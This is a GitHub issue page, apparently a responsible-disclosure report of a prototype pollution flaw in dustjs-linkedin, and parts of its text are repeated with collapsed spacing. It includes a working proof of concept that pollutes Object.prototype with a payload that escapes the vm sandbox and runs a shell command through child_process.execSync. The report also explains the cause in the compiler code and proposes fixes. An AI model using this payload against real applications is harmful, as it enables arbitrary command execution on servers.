You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Hi, I 'd like to report a security bug. That is, the current version of dustjs is vulnerable to prototype pollution attack. Details will be covered in following contents.
reproduce
index.js
constdust=require('dustjs-linkedin');letcmd="this.constructor.constructor('return process')().mainModule.require('child_process').execSync('curl 127.0.0.1')"Object.prototype.ANY_CODE=[cmd];constcompiled=dust.compile(`{username} is a valid Dust reference.{~n}`);consttmpl=dust.loadSource(compiled);dust.render(tmpl,{username: "byc_404"},(err,out)=>{if(err)throwerr;console.log(out);});
use python -m http.server 80 to set up a http server, then execute the code
result
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--100 694 100 694 0 0 694 0 0:00:01 --:--:-- 0:00:01 677k
byc_404 is a valid Dust reference.
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:127.0.0.1 - - [24/Mar/2021 22:19:39] "GET / HTTP/1.1" 200 -
Command of curl will be executed.
Details
The code that pollution affected can be found at compileBlocks function
blocks is an Array attribute of object context, and the for loop will visit attribute on prototype, results in blocks[ANY_CODE]=EVIL_CMD.
The code will be added to compiled, then the full compiled code will be evaled and run in vm
Hi, I 'd like to report a security bug. That is, the current version of dustjs is vulnerable to prototype pollution attack. Details will be covered in following contents.
reproduce
index.js
use
python -m http.server 80
to set up a http server, then execute the coderesult
Command of
curl
will be executed.Details
The code that pollution affected can be found at
compileBlocks
functiondustjs/lib/compiler.js
Lines 171 to 173 in e0e25f7
dustjs/lib/compiler.js
Lines 189 to 199 in e0e25f7
blocks
is an Array attribute of objectcontext
, and the for loop will visit attribute on prototype, results inblocks[ANY_CODE]=EVIL_CMD
.The code will be added to
compiled
, then the full compiled code will be evaled and run in vmdustjs/index.js
Lines 8 to 11 in e0e25f7
However, the context of vm here is
{dust: dust}
, so it can be bypassed withthis.constructor.constructor
and get Arbitary Command execution.Suggestion
context
in compile function , use Map orObject.create(null)
to create it.vm.runInContext
in loadSource function , useObject.create(null)
to create it , then adddust
to it. Or vm will be meaningless.The text was updated successfully, but these errors were encountered: